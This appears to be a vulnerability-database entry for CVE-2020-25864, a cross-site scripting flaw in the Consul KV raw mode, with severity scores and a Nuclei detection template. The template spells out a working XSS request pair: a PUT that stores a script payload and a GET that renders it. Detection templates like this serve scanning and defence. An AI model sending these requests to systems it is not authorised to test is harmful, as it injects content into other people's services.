HashiCorp Consul/Consul Enterprise <=1.9.4 - Cross-Site Scripting

2022-02-1718:25:37

ProjectDiscovery

github.com

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

6.1 Medium

AI Score

Confidence

High

4.3 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

0.003 Low

EPSS

Percentile

70.4%

JSON

HashiCorp Consul and Consul Enterprise up to version 1.9.4 are vulnerable to cross-site scripting via the key-value (KV) raw mode.

id: CVE-2020-25864

info:
  name: HashiCorp Consul/Consul Enterprise <=1.9.4 - Cross-Site Scripting
  author: c-sh0
  severity: medium
  description: |
    HashiCorp Consul and Consul Enterprise up to version 1.9.4 are vulnerable to cross-site scripting via the key-value (KV) raw mode.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected Consul/Consul Enterprise application.
  remediation: Fixed in 1.9.5, 1.8.10 and 1.7.14.
  reference:
    - https://discuss.hashicorp.com/t/hcsec-2021-07-consul-api-kv-endpoint-vulnerable-to-cross-site-scripting/23368
    - https://www.hashicorp.com/blog/category/consul
    - https://nvd.nist.gov/vuln/detail/CVE-2020-25864
    - https://security.gentoo.org/glsa/202208-09
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-25864
    cwe-id: CWE-79
    epss-score: 0.00324
    epss-percentile: 0.70154
    cpe: cpe:2.3:a:hashicorp:consul:*:*:*:*:-:*:*:*
  metadata:
    max-request: 2
    vendor: hashicorp
    product: consul
  tags: cve,cve2020,consul,xss,intrusive,hashicorp

http:
  - raw:
      - |
        PUT {{BaseURL}}/v1/kv/{{randstr}} HTTP/1.1
        Host: {{Hostname}}

        <!DOCTYPE html><script>alert(document.domain)</script>
      - |
        GET {{BaseURL}}/v1/kv/{{randstr}}%3Fraw HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - text/html

      - type: word
        part: body_2
        words:
          - <!DOCTYPE html><script>alert(document.domain)</script>

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100bbb346c3a43f73c414eb6ed526792050eb465a32f0a28251cad292479212181c02206d6bd66c126ad94302fd362178e914dd5d99e7af5cec7deffc553e0699899b9a:922c64590222798bb761d5b6d8e72950